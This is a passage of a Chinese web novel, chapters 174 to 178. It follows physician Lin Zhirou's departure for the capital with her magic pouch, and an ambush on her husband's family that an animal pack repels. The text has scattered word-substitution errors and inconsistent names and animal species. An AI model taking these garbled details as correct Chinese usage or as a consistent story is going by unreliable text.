墨翎看着这群兴高采烈的小家伙,忍不住提醒道:“别光想着好处,主人带我们去帝都肯定是有任务的。” “管他什么任务呢!”灰鼠七一个纵跃,跳到黄狗九头上,“只要能去帝都,让**什么都行!我要当帝都最厉害的老鼠!” “就你?”玄猫五嗤笑一声,“也不撒泡尿照照自己什么样。” 眼看两兽又要吵起来,灰羽赶紧打圆场:“好了好了,现在最重要的是准时到后门集合。太阳快下山了,我们该准备出发了。” 第一百七十四章 锦囊里别有洞天 夜幕降临时,林芷柔找借口来到后门。看着眼前这群兴高采烈的小家伙,她心中暗暗盘算。灰鼠七机灵,最适合打探消息。玄猫五狡猾,可以当个帮手。至于其他动物,总会派上用场。 让萤萤把它们都收进锦囊后,动物们都惊呆了。这片锦囊比它们想象中要大得多,山清水秀,草木茂盛,简直就是一个小天地。 “这是仙境吗?”灰羽飞来飞去,兴奋地叫着,“我从来没见过这么美的地方!” 灰鼠七东张西望,那双黑豆眼睛都快瞪出来了:“这里的草好嫩啊,比外面的香多了!” 黄狗九已经迫不及待地在草地上打起滚来:“太舒服了!这地方简直是天堂!” 就连一向矜持的玄猫五也忍不住在草地上蹦跶起来,完全没了平日里的优雅姿态。 林芷柔环视一圈,看着这群欢快的小家伙,脸上露出一丝笑意:“这里确实不错,而且能让你们变得更聪明。但去帝都可不是玩的,我需要你们帮我做事。现在给你们选择,愿意跟我去帝都的就留下,不愿意的可以回云州。” “我要去!”灰鼠七第一个跳出来,那副坚定的模样让人忍俊不禁。 “算我一个!”玄猫五优雅地迈着步子,“主人放心,我一定不负所托。” 其他动物也纷纷表态,没有一个要回去的。 林芷柔看着它们坚定的眼神,满意地点点头:“好,从现在起你们就归萤萤管。那座山是你们的地盘,但记住,不要去萤萤不允许的地方。” 交代完,她赶紧离开锦囊。再不回去,恐怕魏王派来的官兵要起疑心了。 锦囊里,,欢快的叫声此起彼伏。灰鼠七已经开始探索山洞,玄猫五则在树上找了个舒服的位置晒太阳,黄狗九还在草地上打滚,灰羽则带着几只鸟儿在天上盘旋。 墨翎找了块平坦的石头趴下,看着这群兴高采烈的小家伙,心中却有些忐忑。它活得久,见识得多,知道帝都不是那么好混的。但看着这群充满干劲的年轻人,它也不忍心泼冷水。 或许,这就是命运吧。它们都将踏上一条未知的道路,而这条路的尽头,究竟是荣华富贵,还是困境险阻,谁也说不清。 但此刻,它们只想尽情享受这份快乐。因为谁也不知道,明天和意外,究竟哪个先来。 林芷柔站在门口,看着院中的一切,心中五味杂陈。 庭院里,几个官兵神情严肃地来回巡视,腰间的佩刀在月光下泛着冷冽的光。他们的目光时不时扫向屋内,院子角落里的那棵老槐树在微风中轻轻摇曳,树叶沙沙作响,与这肃杀的气氛形成鲜明对比。 她原以为那些小家伙要靠自己去帝都,没想到现在有了更好的去处。回想起之前的担忧,现在倒是有了几分解脱。灰羽和墨翎被她安置在铺面上,就算官兵见了也不敢轻举妄动。至于青羽、灵灵还有它们的孩子,都安安稳稳待在锦囊里。 一阵微凉的风吹过,带来几片落叶,打着旋儿落在她脚边。林芷柔抬头望了望天空,几朵白云悠闲地飘过,与地面上的紧张气氛形成强烈反差。 转身走进屋内,扑面而来的是一股令人窒息的悲伤气息。 堂屋里,顾馨巧抱着阳阳,眼睛哭得又红又肿,眼角还挂着未干的泪痕。她的手紧紧抓着孩子的衣服,仿佛害怕下一刻就会失去。赵氏坐在一旁,双手不停地绞着手帕,眼眶泛红,时不时抽噎一声。 楚星澜整个人像是被抽走了魂魄,靠在墙边的椅子上,目光呆滞地望着前方。他的脸色苍白,嘴唇紧抿,眼底布满血丝,显然一楚未眠。往日里那个意气风发的少年,此刻竟像个被打败的将军,浑身上下散发着浓浓的颓废气息。 只有阳阳,这个才一岁多的孩子,出奇地安静。他不哭不闹,乖巧地依偎在祖母怀里,时而用那双清澈的大眼睛环顾四周,仿佛在试图理解这突如其来的变故。 “亲家母。”柳雅芝悄悄凑到顾馨巧身边,压低声音道,“别担心,等你们走后,我们也会去帝都。大家在一起,总能想出办法的。”她的声音轻柔,带着安慰,却掩饰不住其中的担忧。 顾馨巧猛地抬头,眼中闪过一丝错愕。她张了张嘴,喉咙像是被什么堵住了,发不出声音。泪水在眼眶中打转,最终还是忍住没有落下。 柳雅芝轻轻拍了拍她的手臂,示意她不必多言。两个女人相视一眼,无声地传递着彼此的理解和支持。 这份情谊,顾馨巧心中清楚。想到自己的娘家人,她心里更是一阵苦涩。家里遭此大难,顾家竟无一人来看,生怕被牵连。昔日那些甜言蜜语、亲密无间,在利益面前不过是一场虚幻的梦。 “来,让我抱抱。”赵氏见顾馨巧一直抱着阳阳,主动接过孩子。她的手有些颤抖,却努力装作若无其事的样子。 就在这时,林芷柔迈步走了进来。她的脚步声在寂静的屋内格外清晰,每一步都仿佛踩在众人的心上。 “娘!”阳阳奶声奶气地喊着,挣扎着要从赵氏怀里下来。他的小手在空中乱抓,眼睛亮晶晶的,充满期待。 林芷柔看着这一幕,眼神一凛。她站定脚步,目光如炬地看着自己的儿子。 “自己走,楚阳洲!”她的声音不重,却带着不容置疑的力量,“从今天起,得学会独立行走。” 这句话像一道惊雷,在屋内炸响。所有人都愣住了,连院子里的官兵都不由自主地往这边张望。 顾馨巧急得想站起来,脸上写满担忧。可还没等她动作,就被柳雅芝按住了。 “别急,让柔柔教导孩子。”柳雅芝低声道,“澜儿就是她带大的。”她的语气中带着几分笃定,仿佛对林芷柔的教育方式深信不疑。 赵氏虽然不忍,看着孙子那小小的身躯,心疼得要命。但她还是缓缓松开了手,任由阳阳自己站着。 阳阳摇摇晃晃地站在原地,小脸皱成一团。他看着不远处的林芷柔,眼中满是胆怯。小手无措地抓着衣角,两条小腿微微发抖。 “你是男人,从现在开始就要学会坚强。”林芷柔站在一丈开外,目光坚定,“来,一步一步走到娘这里来。” 阳阳眼中含着泪,小身子晃了几下,像是在与内心的恐惧搏斗。终于,他鼓起勇气,迈出了第一步。 “很好,继续。”林芷柔的声音里带着鼓励,“看着前方,不要害怕。” 小家伙抬手擦掉眼泪,小嘴紧紧抿着,又迈出了第二步。渐渐地,他的步伐越来越稳,脸上的表情也从害怕变成了专注。最后几步,他几乎是小跑着扑进了母亲的怀抱。 “娘!娘!”阳阳不停地蹭着林芷柔,像是要把自己揉进她的怀里。他的小手紧紧抓着母亲的衣服,仿佛找到了最安全的港湾。 “好了,现在去阿奶那里。”林芷柔轻轻推开儿子,语气温和却坚定,“多练习几次,你就能走得更好。记住,男子汉要学会独立。” 这一次,阳阳走得格外坚定。短短几步路,他走得又快又稳,小脸上还带着几分得意。赵氏看得眼眶湿润,又心疼又自豪。 “哎呦!”柳雅芝惊叹道,“阳阳学得真快,澜儿当年可是花了两三天才能走这么稳。这孩子,天赋异禀啊!” “两三天?”赵氏也吃了一惊,“澜儿那会儿可是学了二十多天呢。那时候我们都担心得不得了,生怕他摔着。” 楚星澜闻言,嘴角抽了抽。往事涌上心头,让他暂时忘记了当前的困境,眼中闪过一丝温暖的光芒。 “楚阳洲,回来!”林芷柔又喊道。她的声音不疾不徐,却带着一种特殊的魔力。 小家伙立刻转身,稳稳当当地走了回去。这一次,他的步伐更加自信,小脸上写满了认真。 院子里的官兵们看得目瞪口呆,这么聪明的孩子,他们还是头一次见。有人忍不住低声议论,说这孩子将来必定不凡。 屋内的气氛渐渐缓和,虽然愁云未散,但至少多了一丝生机。阳阳的表现给大家带来了一线希望,仿佛在提醒众人:即便在最黑暗的时刻,生命依然有其顽强的力量。 第一百七十五章 启程 阳阳继续摇摇晃晃地迈出一步,小脸上的泪痕还未干透,却已经露出了一抹灿烂的笑容。他的小手紧紧抓着身旁的椅子,生怕一个不小心就摔倒。 “娘亲,你看!”小家伙兴奋地喊道,声音里带着几分得意。 林芷柔蹲在不远处,看着儿子蹒跚学步的模样,眼中闪烁着温柔的光芒。她张开双臂,柔声鼓励:“来,到娘亲这里来。” 阳阳松开扶着椅子的手,摇摇晃晃地朝母亲走去。每一步都走得小心翼翼,生怕摔倒。他的小脸上写满了认真,眉头微微皱起,像个小大人似的。 “慢点,不要着急。”林芷柔看着儿子摇摇欲坠的样子,心都提到了嗓子眼。 阳阳一步一步地向前挪动,终于走到了母亲面前。他扑进林芷柔的怀里,奶声奶气地问:“娘亲,阳阳厉害吗?” “当然厉害。”林芷柔将儿子抱起,在他额头上轻轻一吻,“不过要记住,以后还要学会更多事情。” “系!”阳阳用力点头,虽然发音不太准确,但那股坚定劲儿倒是十足。 赵氏端着一碗热粥走进来,看到这一幕,脸上露出慈祥的笑容:“这孩子,越来越像他爹了。” 提到丈夫,林芷柔的眼神暗了暗。她将阳阳放下,转身整理行装。房间里堆满了要带去帝都的物品,有医书、药材,还有一些日常用品。 “柔柔,”赵氏叹了口气,“你说魏王这么急着召你去帝都,会不会......” 林芷柔停下手中的动作,轻声道:“不管他有什么打算,我们都得去。”她看向窗外,天色已经暗了下来,“现在最重要的是赶紧收拾东西,明天一早就要启程了。” 天色渐深,林文昂匆匆赶来,手里拿着几份文书:“姐,裴氏送来的房契我已经归还了。” “嗯。”林芷柔点点头,继续收拾东西。 “姐,”林文昂欲言又止,“要不要我跟你们一起去帝都?” “不用。”林芷柔摇头,“你留在这里照看仁心医馆。温如玉虽然医术已成,但经验还是不够。” 林文昂还想说什么,却被姐姐打断:“别担心,有星澜跟着,路上不会有事。” 夜色中,马车已经备好,是从云陵伯府的旧物中挑选出来的。表面看着普通,实则经过萤萤的巧手改造,内里加装了减震装置。 顾馨巧坐在车厢里,眼神空洞。自从丈夫和儿子们被押解北上,她就像丢了魂似的。手中紧紧攥着一方手帕,那是临别时丈夫留下的。 “早知如此,当初该留些玉牌傍身。”她喃喃自语,“现在一无所有,到了帝都可怎么活?” 林芷柔看着婆婆这副模样,心中一阵酸楚。她轻轻握住婆婆的手:“娘,别担心,有我在呢。” 顾馨巧勉强挤出一丝笑容,却很快又陷入沉默。 天还未亮,官兵就催促她们启程。马车缓缓驶出府门,街道上却已经站满了百姓。 “林大夫!” “林大夫保重!” 此起彼伏的呼喊声中,不少人将准备好的干粮往马车上递。有的是平日里看病的老主顾,有的是受过她帮助的贫苦百姓。 一位老妇人颤颤巍巍地走上前,将一个布包塞给林芷柔:“大夫,这是我亲手做的几件衣裳,路上天冷,记得添衣。” “林大夫,这是我家的腊肉,路上吃。” “大夫,这是我自己晒的菜干......” 林芷柔坐在车辕上,看着这些熟悉的面孔,眼眶微红。这些年来,她在云州为百姓们治病,教授妇科知识,如今要离开,心中难免不舍。 柳明远在柳星河的搀扶下走来,将一辆马车送给林芷柔:“老朽无以为报,这点心意还请收下。” “多谢老先生。”林芷柔没有推辞,“若是将来去了帝都,记得去仁心医馆寻我。” 温如玉跪地磕头,眼中含泪:“师父一路保重!弟子定将仁心医馆继续开下去。” 林芷柔将他扶起:“你医术已成,那些疑难杂症的手札好生研读,定能成为一代名医。” 街头的人越来越多,却井然有序。他们默默跟随在马车旁,直到城门。有人递上干粮,有人送来御寒的衣物,更多的人只是默默注视着这支车队。 林芷柔最后环顾四周,这座生活了几年的云州城,承载着太多回忆。街角的茶馆里,还能看到往日里她为百姓看诊的身影;巷子里的杂货铺,老板娘的孩子就是她接生的;城南的布庄,掌柜的夫人曾经因难产几近丧命,是她连夜救治才保住性命。 可如今,她必须启程去帝都,为被押解北上的夫君和公公想办法。魏王急着将她召去帝都,怕是已有算计。但那些权谋之事与她无关,她只想继续行医济世。 这样的送别场景让护送的官兵们面面相觑,显然没见过这样的场面。彭清峰站在一旁,若有所思地看着这一切。作为魏王麾下的中将,他见惯了权贵间的虚与委蛇,却在这个女大夫身上看到了截然不同的东西。 “大家不用担心,”林芷柔强忍住眼中的湿意,声音略显哽咽,“仁心医馆不会关门,我已经安排好了。紫苏叶的种植也要继续,按照往常的规模就好,医馆一定全部收购。” 周家村的村长带头向林芷柔深深鞠躬,浑浊的眼中闪烁着泪光:“林大夫,您一路保重。我们都盼着您早日回来。” 其他村民也纷纷弯腰行礼,那份真诚让在场的官兵们都不禁动容。 两辆马车缓缓启程。林芷柔让赵氏和楚星澜坐在后面那辆周思成赠送的马车上。那辆马车内部装潢考究,有软垫靠椅,还备有食柜,更适合老人休息。 她则和顾馨巧、阳阳坐在前面的马车里。马车行进间,林芷柔开始整理村民们送来的食物。她将易腐的食物分给了彭清峰等人,其他的则分门别类地收好。 “柔柔,”顾馨巧看着儿媳忙碌的身影,欲言又止,“这一路上要多加小心。” 林芷柔停下手中的动作,转头看向婆婆:“娘,您放心。有澎将军他们护送,不会有事的。” 顾馨巧叹了口气:“我是担心进了帝都后......” “娘,”林芷柔打断了婆婆的话,“您别想那么多,到时候我自有分寸。” 阳阳在一旁玩着手中的木偶,似乎对即将到来的旅程充满期待。林芷柔看着儿子天真的笑脸,心中五味杂陈。 彭清峰骑马跟在马车旁边,时不时打量着前方的路况。作为此行的护送统领,他心中也有诸多疑虑。魏王派他押送林大夫进京,背后必有深意。 可这位林大夫,与他见过的那些达官显贵大不相同。不惧世俗眼光,以男装示人,开设医馆救助百姓,这样的人岂是易与之辈? 午时已过,车队停在一处小溪旁休整。林芷柔取出村民们送的干粮,分给大家。那些馒头和咸菜,虽不是什么山珍海味,却让一路奔波的众人吃得津津有味。 “林大夫的医术真是了得,”一个年轻士兵忍不住感叹,“听说连太医院都对您赞不绝口。” “医者父母心罢了,”林芷柔淡淡一笑,“治病救人本就是医者的本分。” 彭清峰在一旁听着,若有所思。这样一个心系百姓的大夫,为何会被卷入朝廷的漩涡之中? 休整过后,队伍继续前行。官道两旁的景色渐渐变得陌生,林芷柔望着窗外飞逝的风景,思绪纷飞。 第一百七十六章 扎营 夜幕降临时,队伍未能赶到驿站,只能在户外扎营。彭清峰选了一处背风的地方,让士兵们搭起帐篷。 “娘,姨娘,你们和星雨去后面那辆马车休息吧,”林芷柔抱着已经睡着的阳阳说道,“那边有软垫,睡得舒服些。” 顾馨巧看了看儿媳疲惫的脸色:“你也该好好休息,这一路还不知道要走多久。” “我没事,”林芷柔笑着摇头,“您们先去休息吧。” 夜色渐深,营地渐渐安静下来。林芷柔轻轻拍着怀中的阳阳,望着满天繁星出神。远处的篝火映照着士兵的身影,偶尔传来几声虫鸣。 彭清峰踱步到马车旁:“林大夫还不休息?” “澎将军,”林芷柔回过神来,“这一路上多谢你们护送。” “职责所在,”彭清峰顿了顿,“只是不知林大夫可想好了,到了帝都该如何自处?” 林芷柔沉默片刻:“走一步看一步吧。” 彭清峰欲言又止,最终只是叮嘱道:“早些休息,明日还要赶路。” 看着彭清峰离去的背影,林芷柔轻轻叹了口气。帝都,那个权力的中心,等待她的又将是怎样的风云际会? 夜风吹拂,带来远方的凉意。林芷柔将阳阳裹得更紧了些,目光投向遥远的北方。那里,有她必须面对的命运。 林芷柔站在马车旁,望着婆婆远去的背影,心中暗自松了一口气。夜色渐浓,营地里升起袅袅炊烟,远处传来零星的说话声。 凉风拂过脸颊,带来一丝潮湿的气息。她下意识地裹紧了身上的披风,目光不自觉地扫向四周。虽然这里是临时驻扎的营地,但她始终保持着警惕。 “娘亲!”清脆的童声从马车里传来,打断了她的思绪。 她轻轻掀开车帘,温柔的目光落在正在玩耍的儿子阳阳身上。小家伙跪坐在软垫上,手里捏着一个铁柱小马,正兴致勃勃地让它“驰骋”在毯子上。 “阳阳,小声点。”她柔声提醒,眼角余光瞥见不远处有人经过。 这个秘密,知道的人越少越好。尤其是在即将进京的节骨眼上,一丝一毫的风险都不能冒。 “娘,我饿了。”阳阳放下木马,揉了揉圆圆的小肚子,大眼睛忽闪忽闪地看着她。 “好,娘这就去准备。”她摸了摸儿子的头,转身走向营地中央的火堆。 晚饭很简单,是百姓们送来的干粮。林芷柔将食物分装在几个碗里,又悄悄从袖中取出一个小瓷瓶。她环顾四周,确认无人注意,才将仙露泉稀释后倒进了每个人的杯中。 这是她多年来的习惯。自从嫁入楚家,她就用这种方式让所有人都喝上仙露泉。既能改善体质,又不会引人注意。 “夫人。”丫鬟云花端着食盒走来,“老夫人那边已经用过晚饭了。” “嗯,你也去吃吧。”林芷柔点点头,端起食物回到马车。 车帘刚放下,小家伙就兴奋地喊道:“娘,回家!” 话音未落,人影便消失不见。 林芷柔心头猛地一跳,手中的碗差点掉落。她连忙跟着进入锦囊,只见儿子已经坐在沙发上,津津有味地看着动画片。 现代化的客厅里,温暖的灯光洒在小家伙稚嫩的脸庞上。电视里传来欢快的音乐声,与外面肃杀的氛围形成鲜明对比。 “阳阳,你是如何混进来的?”她快步走到儿子面前,声音里带着掩饰不住的焦急。 小团子自信地捶着胸膛,奶声奶气地说:“阳阳自己进来的!” “真的?”林芷柔不敢相信,“你出去再进来试试。” 阳阳眼睛依依不舍地离开电视屏幕,眨眼间消失又出现。这一幕让林芷柔心惊肉跳,她立刻关掉电视,蹲下身严肃地看着儿子。 “阳阳,这件事不能告诉任何人,连阿奶都不行,知道吗?” 小家伙似懂非懂地点点头,小手揪着衣角:“娘亲不生气,阳阳不说。” “是萤萤带你进来的对不对?” 阳阳点头:“喜欢萤萤,她就开门。” 林芷柔顿时明白了。她站起身,快步走出房间,对着空中喝道:“萤萤,你不能这样纵容阳阳!这太危险了!” 锦囊微微震动,光线暗淡了几分,仿佛在表达歉意。 “记住,没有我在场,绝对不能让阳阳随意进出!”她的语气中带着不容置疑。 光线闪烁三下,像是在做出承诺。 回到房间,阳阳已经乖乖站在她面前,小脸上带着几分委屈:“娘,阳阳不让萤萤带了,阳阳听话。” 林芷柔叹了口气,蹲下身与儿子平视。她轻轻整理着小家伙有些凌乱的衣领:“阳阳,这里是我们的秘密,如果被坏人知道了,会把你抓走的。” “像抓走爹爹他们那样吗?”小家伙眼中闪过一丝惊慌,小手紧紧抓住她的衣袖。 这个问题让林芷柔心头一痛。她将儿子搂入怀中,轻声说道:“对,所以你要保护好自己,也要保护好阿奶她们。你可是楚家唯一的男儿了。” “阳阳记住了,不让娘担心。”小家伙用力点头,稚嫩的声音里带着几分坚定。 看着儿子懂事的模样,林芷柔既欣慰又心疼。她站起身,拍拍手:“该去学习了,记得爹爹教你的字和娘教你的算术。” 小团子乖巧地点头,迈着小短腿走进儿童房。房间里很快传来翻书的声音,还有他自言自语背诵的声音。 望着儿子的背影,林芷柔陷入沉思。这些玩具和用品,她前世的锦囊里似乎都没有,萤萤究竟是从哪里弄来的? 她走到书房,轻轻抚摸着书桌上的毛笔。这是楚星河留下的,笔杆上还残留着他的指痕。记忆中,他总是在这里教导阳阳认字,父子俩的笑声常常回荡在锦囊里。 现在,这里只剩下她和阳阳。 突然,锦囊轻微震动,一道微弱的光芒闪过。林芷柔警觉地转身,发现书架上多了一本崭新的儿童读物。 “萤萤,你又去哪里弄来的东西?”她皱眉问道。 锦囊没有回应,只是温度似乎升高了一些,让人感到温暖。 林芷柔拿起书本翻看,发现是一本简单的识字课本,正适合阳阳现在的水平。她摇摇头,将书放回原处:“谢谢你的好意,但是以后不要随意带东西进来了,这样太危险。” 光线微微闪烁,似乎在表示理解。 她走到窗前,望着外面的花园。这里的一草一木都是按照现代园林的样式布置的,与外面的世界格格不入。但正是这份格格不入,才让这里成为她和阳阳最安全的避风港。 “娘!”阳阳的声音从儿童房传来,“阳阳写完字了!” 她收回思绪,露出一抹笑容:“好,娘这就来看。” 走进儿童房,小家伙正坐在小桌前,一脸期待地看着她。桌上摊着一张宣纸,歪歪扭扭地写着几个大字。 “写得不错。”她摸摸儿子的头,“不过这个"家"字的最后一笔要往下拉长一些。” “这样吗?”阳阳认真地在纸上又写了一遍。 “对,就是这样。”她点点头,“今天就到这里吧,该休息了。” “娘,我们什么时候能见到爹爹?”小家伙突然问道。 这个问题让林芷柔心头一紧。她强迫自己保持平静:“等我们到了帝都,就能见到爹爹了。” “真的吗?”阳阳眼睛一亮。 “嗯。”她轻轻应了一声,“但是在那之前,我们要保护好自己,不能让任何人发现我们的秘密。” “阳阳知道了。”小家伙郑重地点头。 收拾好书本,林芷柔带着儿子回到外面的马车。夜已深,营地里渐渐安静下来,只有守楚的士兵还在巡逻。 她掖好阳阳的被角,轻声哼起儿子最爱听的摇篮曲。小家伙很快进入梦乡,发出均匀的呼吸声。 望着儿子熟睡的小脸,林芷柔轻轻叹了口气。帝都,那个充满危机的地方,真的能找到楚星河吗? 但不管结果如何,她都必须去。为了阳阳,为了楚家,也为了她自己。 第一百七十七章 激战 林芷柔望着车外的天色,心中泛起一丝担忧。她的手指无意识地摩挲着锦囊里萤萤送的那件物什,冰凉的触感让她略感心安。可脑海中却不断浮现出儿子独自在小屋读书的画面,没有楚星河陪伴,也不知那孩子会不会害怕。 “应该没事的...”她轻声呢喃,却又忍不住叹了口气。 更让她放心不下的,是此刻正在前往北境的楚星河一行人。魏王那人心狠手辣,虽有圣旨在身,可谁又能保证他不会暗中使绊子? “不,不会的。”林芷柔摇了摇头,试图驱散脑海中的阴霾,“圣旨在身,谁敢违抗?那可是死罪。” 可心底那抹不安却越发浓重,如同阴云密布的天空,压得人喘不过气来。她望着远处起伏的山峦,不知楚星河他们此刻在何处。 夜色渐深,古道幽深。 山间的风裹挟着潮湿的气息,树影婆娑,不时传来几声楚枭的啼鸣。楚星河与父亲楚云浪并肩而行,弟弟楚星霆跟在后面。押解的官差们神情紧张,不时四下张望,手按在刀柄上,随时准备应对可能的突发情况。 空气中弥漫着一股令人窒息的肃杀之气,连虫鸣声都显得格外刺耳。 “星河,”楚云浪压低声音,“你觉得魏王会善罢甘休吗?” 楚星河目光如炬,扫视着四周的暗影:“儿子不敢妄下定论,但必须做好最坏的打算。” 话音未落,树梢突然传来一阵异响! 十几个黑衣人从两旁草丛中窜出,动作迅捷如豹,瞬间将一行人团团围住。月光下,寒光闪烁,杀气腾腾。 “星河,小心!”楚云浪低喝一声,“霆儿的武功不怎么样!” 楚星河眸光一凛,身形如电,一把抓起楚星霆,轻点树干腾空而起。他的动作行云流水,将弟弟安置在一棵大树顶端的枝杈间。 “大哥!”楚星霆紧紧抓住树枝,声音里带着惊慌。 “别怕,在上面待着别动。”楚星河安抚道,随即如大鹏展翅般跃下。 黑衣人见状,眼中闪过惊骇之色。他们原本以为这不过是个简单的伏击任务,没想到安阳伯世子的武功如此了得。 领头者暗暗咬牙:这活怕是不好干。可任务已接,定金已收,由不得他们退缩。 “动手!”随着一声令下,黑影翻飞,刀光剑影交织成一片死亡之网。 楚星河与父亲背靠背而立,招式凌厉,配合默契。楚云浪掌风如雷,震退一波又一波的进攻;楚星河剑法精妙,每一剑都直指要害。 官差们虽也身手不凡,却渐渐支撑不住。有人已经负伤,鲜血染红了官服。 “爹,得速战速决。”楚星河低声道,“弟弟还挂在树上呢,不能拖太久。” 话音未落,一声狼嚎突然响彻山林!声音中充满了野性与威慑,令人不寒而栗。 林小七带着一群银狐从林间窜出,月光下,它们的眼睛闪烁着幽绿的光芒。不等命令,便张口咬向最近的黑衣人。 “好!”楚云浪大喜过望,“林小七,咬掉这些黑衣人,别伤了官差!” 林小七嗷呜几声作为回应,群狼呼啸而上。它们配合默契,动作敏捷,专挑黑衣人的要害处下口。 黑衣人顿时大乱,有的被咬断喉咙,发出凄厉的惨叫;有的被撕裂手臂,鲜血四溅;更有甚者,直接被扑倒在地,连挣扎的机会都没有。 楚星河趁机出手,剑光如虹,连续毙命三人。他的每一剑都快准狠,不给对手任何反击的机会。 楚云浪也不示弱,掌风呼啸,震飞两名敌手。那两人重重摔在树干上,口吐鲜血,再无还手之力。 官差们看得目瞪口呆:这还是人吗?不仅武功高强,居然还能指挥群狼作战!难怪朝廷会派他们去北境剿匪。 不多时,剩余黑衣人见势不妙,纷纷逃窜入林。月光下,只见树影晃动,偶尔传来几声惨叫,想必是被狐群追上的倒霉鬼。 楚星河正欲追击,忽听树上传来弟弟的声音:“大哥,快看!” 顺着楚星霆所指方向望去,远处山坳间,隐约可见火把明灭。那些光点排列整齐,显然不是普通的商旅。 “有援兵!”楚云浪脸色一沉,“看来魏王是铁了心要置我们于死地。” 楚星河当机立断:“官爷们,我们得赶紧离开这里。等援兵到了,我们就真的危险了。” 一行人不敢耽搁,在林小七和群狼的护卫下,快速离开了这片是非之地。月光下,只见人影晃动,渐渐消失在密林深处。 远处的火把越来越近,照亮了这片刚经历过厮杀的林地。地上躺着几具黑衣人的尸体,血迹斑斑,诉说着方才发生的激战。 一场血腥的厮杀在古道上落下帷幕。 残阳如血,将整片天空染成暗红色。黑衣人的尸体横七竖八地躺在地上,浓重的血腥味在空气中弥漫。断肢残骸散落一地,有的尸体面目全非,有的则保持着临死前惊恐的表情。 藏在树上的楚星霆目睹了整个过程。他紧紧抓住树枝,指节因用力而发白,但眼中没有丝毫恐惧,反而闪烁着兴奋的光芒。 林小七带领狐群的表现,彻底颠覆了他对这头影豹的认知。那些黑衣人的身手不凡,但在狐群的围攻下却毫无还手之力。有的被咬断喉管,有的被撕裂肢体,死不瞑目的表情定格在脸上。 “原来它不只是一只整天懒洋洋躺在府里的畜生。”楚星霆看着林小七威风凛凛的身影,暗自感叹。 树下传来窸窸窣窣的脚步声,楚星霆低头望去,只见大哥楚星河正站在树下。 “下来吧。”楚星河的声音带着几分疲惫,“已经安全了。” 楚星霆从树上跃下,脚还没站稳,就迫不及待地冲向那头影豹。 “林小七!”他一把抱住影豹的脑袋,兴奋地喊道,“你真是太厉害了!刚才那些黑衣人都被你吓得魂飞魄散!” 林小七发出不耐烦的呜咽声,试图甩开这个黏人的小鬼。它的毛发上还沾着血迹,眼中依旧残留着战斗时的凶光。 但楚星霆却误解了它的意思,反而抱得更紧了:“你也很喜欢我对不对?平时装得那么高冷,其实心里早就把我当成好朋友了吧?” 林小七终于忍无可忍,猛地一甩脖子挣脱开来。它径直走到楚星河身边,用鼻子轻轻蹭了蹭他的水囊,眼中的凶光瞬间消散,取而代之的是一丝讨好。 楚星河会意,解下水囊递到林小七面前:“渴了吧?” 林小七仰起头,贪婪地吮吸着清凉的水,喉咙发出满足的咕噜声。 “是柔柔让你来的?”楚星河轻抚着影豹的头,声音温柔。 林小七点点头,眼中闪过一丝温顺。它似乎能听懂人话,对楚柔韵的名字格外敏感。 楚云浪缓步走来,脸上带着疲惫和凝重。他伸手拍了拍林小七结实的后背:“多亏有你带领狐群相助,否则这场恶战不会结束得这么快。” 第一百七十八章 魏王的阴谋 远处,十几名官差正远远地围观着这一幕。即便知道这是楚家豢养的狼,他们依然不敢靠近。那些狐群此刻正蹲守在四周,警惕地注视着每一个人的动作。 “大人。”为首的官差小心翼翼地开口,“这古道不太平,我们还是快些离开为好。天黑之前若能赶到下一个驿站,也好有个落脚的地方。” 楚云浪环顾四周的尸体,目光在某具尸体上停留片刻:“搜过了吗?可有什么发现?” “回大人的话,除了些散碎银两,什么都没有。”官差摇头道。 楚星河默默地将从尸体上搜出的铜牌收进怀中。那上面的图腾,他在玄冥的玉牌上见过。这些黑衣人的来历,恐怕不简单。 其他尸体上的散碎银两,他让官差们自行分配了。反正他的水囊里藏着柔柔给的两千两玉牌,那是他最珍贵的盘缠,也是他此行最重要的依仗。 “父亲。”楚星河将楚云浪拉到一旁,压低声音道,“这些人是魏王派过来的。” 他掏出铜牌给父亲看:“这图腾,曾经出现在玄冥玉牌上。魏王想借玄冥之手除掉我们。” 楚云浪冷笑一声,眼中闪过一丝了然:“手法真是狠辣。若我们今日丧命,旁人只会以为是玄冥对楚家的报复。” 楚星霆握紧双拳,脸色阴沉。魏王为了得到嫂嫂,竟然不惜对他们赶尽杀绝。想到这里,他的心中涌起一股难以压抑的愤怒。 “父亲放心。”楚星河的声音坚定,“柔柔还在帝都等我们,有她在,母亲和阳阳都会平安。” 楚云浪叹息一声,目光望向远方:“事已至此,我们这些做臣子的,也只能听天由命了。” 古道上的血腥味越发浓重。远处传来狼嚎声,回荡在山谷间,显得格外凄厉。 官差们开始收拾行装,准备启程。有人提议将尸体掩埋,但楚云浪摇了摇头。 “不必了。”他望着那些尸体,“让他们暴尸荒野也好,也算是给魏王一个警告。” 楚星河牵着马走到父亲身边:“我们该走了。” 楚云浪点点头,翻身上马。楚星霆也跟着爬上马背,紧紧抓住缰绳。 林小七低吼一声,狐群立刻列队,护卫在马队两侧。它昂首阔步走在最前面,仿佛一位尽职尽责的将军。 马蹄声渐渐远去,只留下一地尸骸,在夕阳下投下长长的阴影。血腥的气息随风飘散,预示着更大的风暴即将来临。 这场突如其来的伏击,不过是开始。魏王的野心,远不止于此。而楚家一行人的命运,也将在这场权力的漩涡中,走向未知的方向。 夜色深沉,星光点点。 楚星河将父亲和弟弟安顿在临时搭建的草铺上,自己则靠着一棵大树警戒。林小七趴在不远处,金色的眸子在黑暗中闪烁着幽光,时不时抬头嗅嗅空气,警惕地扫视四周。 营地另一边,官差们缩在一起,不时传来细微的抽气声。那些银狐正在分食黑衣人的尸体,血腥的场面让他们不寒而栗。几个年轻的衙役脸色发白,强忍着不适蜷缩在角落。 “大人,这些狼...它们不会...”一个衙役颤抖着声音问道。 “放心,有林小七在,它们不敢靠近。”楚星河淡淡回应,目光却始终没有离开远处的树林。 夜风徐徐,带着山林间特有的清冽。枝叶摇曳间,月光透过缝隙洒落,在地上投下斑驳的影子。远处传来几声狼嚎,让人不由得心头一紧。 楚星霆蜷缩在草铺上,听着这令人毛骨悦然的声音,忍不住往父亲身边靠了靠。虽然他知道有大哥和林小七在,但这种环境还是让他感到不安。 “睡吧。”楚星河的声音从黑暗中传来,“明天还要赶路。” 楚星霆翻了个身,努力让自己平静下来。他知道大哥一定也很担心,但从来不会表现出来。想到这里,他心中涌起一股暖意,渐渐进入梦乡。 楚星河抬头望向星空,思绪不由自主地飘向远方。帝都,他的柔柔还在等他。想到那个聪慧果敢的女子,他的嘴角不自觉地扬起。 